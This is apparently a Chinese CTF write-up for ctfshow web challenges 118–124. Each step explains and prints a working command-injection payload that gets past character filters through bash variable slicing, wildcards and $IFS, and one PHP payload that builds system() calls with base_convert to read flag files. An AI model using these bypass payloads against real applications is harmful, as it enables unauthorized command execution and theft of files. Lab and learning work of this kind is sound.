web118
打开是一个输入框
先尝试哪些字符会被过滤,输入小写字母、数字、!等会回显evil input
而大写字母、{}、?等不会被过滤
查看网页源代码,system($code) 输入值赋值给code,然后放入system中
想要输入nl flag.php,但是字母都被过滤了
${PATH:~A} 代表路径变量的最后一位,一般是n
${PWD:~A} 代表根目录的最后一位,网站的默认根目录是/var/www/html ,最后一位是l
所以二者合起来就是nl 而flag.php用????.???代替,中间的空格使用${IFS}
${PATH:~A}${PWD:~A}${IFS}????.???
得到回显 3?>,查看源代码得到flag
web119
使用上一题的${PATH:~A}${PWD:~A}${IFS}????.???,得到的是evil input
依次截取其部分输入,尝试多次后发现是PATH被过滤了,而PWD没有。
想执行/bin/cat falg.php 这个命令,使用网站的PWD var/www/html 来进行替换
${#}=0
${#SHLVL}=${##=${#?}=1
${SHLVL}=2
${#IFS}=3
对/var/www/html切片,获取PWD的部分字符组成命令
{${PWD}:从第几个字符开始:保留几个字符}
${PWD:${#}:${##}} = {${PWD}:0:1} = /
${PWD:${SHLVL}:${#SHLVL}} = ${PWD:2:1} = a
${PWD:~${SHLVL}:${#SHLVL}} = ${PWD:-2:1} = t
${PWD:${#}:${##}}??? // 表示 /bin
${PWD:${#}:${##}}?${PWD:${SHLVL}:${#SHLVL}}${PWD:~${SHLVL}:${#SHLVL}} //表示 /c?t
$IFS????.??? // 空格 flag,php
输入:
${PWD:${#}:${##}}???${PWD:${#}:${##}}?${PWD:${SHLVL}:${#SHLVL}}${PWD:~${SHLVL}:${#SHLVL}}$IFS????.???
查看源代码,得到flag
web120
这些被禁用,只能还是尝试上一题的方法
POST传参输入
code=${PWD:${#}:${##}}???${PWD:${#}:${##}}?${PWD:${SHLVL}:${#SHLVL}}${PWD:~${SHLVL}:${#SHLVL}}$IFS????.???
显示太长了,只能缩短传入值
/bin/cat flag.php
code=${PWD::${##}}???${PWD::${##}}??${PWD:~${SHLVL}:${##}} ????.???
//表示 /???/c?? flag.php,将t替换成?,使输入值变短
查看源代码,得到flag
web121
shlvl被禁用了,上一题的payload没法用了,也就是cat不能使用了
/var/www/html 想使用tac t 也需要用到shlvl。
尝试使用/bin/rev读取,rev命令可以实现文件内容的反序显示,并且其中的v正好在PWD的第一个,不会导致输入值过长。
code=${PWD::${##}}???${PWD::${##}}??${PWD:${##}:${##}}${IFS}????.???
//code=/???/??v ????.???
得到反序显示,再反转过来即可
ctfshow{3e11dbf3-aa67-4d50-a509-75d4fc54da3b}
web122
PWD被禁用,USER(${USER}=www-data)也被禁用。 /bin/cat /bin/rev 不能使用了
可以执行/bin/base64 flag.php 的命令 /???/?????4 ????.???
只能使用HOME ${HOME}=/home/
利用home切片 得到/
${HOME::1} 1被过滤 ${SHLVL}也被过滤。
可以使用 两条命令,前一条命令错误执行会得到非0,然后传入后一条命令
<A;${HOME::$?}
<A:<表示将内容传进文件,由于A不存在,所以这条命令是错误的,然后1被传入$?中
4:${RANDOM::1} RANDOM函数输出随机的整数,1表示输出一个整数,而1被过滤,使用$?即可
将以上结合,得到payload:
code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
需要多刷新几次,因为random是随机产生整数
得到以下base64编码:
PD9waHAKJGZsYWc9ImN0ZnNob3d7MDg1YjNiZDYtMzYyMC00YWI4LWFhZjctMjZmOTUyNzFiOWM2 fSI7Cj8+ fSI7Cj8+
使用网站base64解码即可
web124
审计代码,长度不能超过80,过滤了一些数字函数以及符号等。数字没有被过滤,只能通过数字和白名单构成命令进行执行。
想要绕过对输入长度的限制,可以再次使用_GET[]来绕过,传入system ls
c=$_GET[abs]($_GET[acos]);&abs=system&acos=ls //表示的是system(ls)
[]被过滤,可以使用{}替换
c=$_GET{a}($_GET{b});&a=system&b=ls //表示的是system(ls)
但是_GET被过滤,使用其ascii值转为_GET
_GET:
转成十六进制是0x5f474554,由于其中还是包含字母,再由十六进制转为十进制1598506324。
dechex():十进制转十六进制
hex2bin():十六进制转二进制,返回 ASCII 字符
_GET=hex2bin(dechex(1598506324))
但是hex2bin被过滤,使用base_convert()进行进制转换,将其转换为数字
base_convert(number,frombase,tobase):可以在任意进制之间转换数字
base_convert(‘hex2bin’,36,10)=37907361743
base_convert(37907361743,10,36)=hex2bin
在白名单中选择最短的pi当_GET参数
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=ls
得到文件名
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos});&abs=system&acos=cat flag.php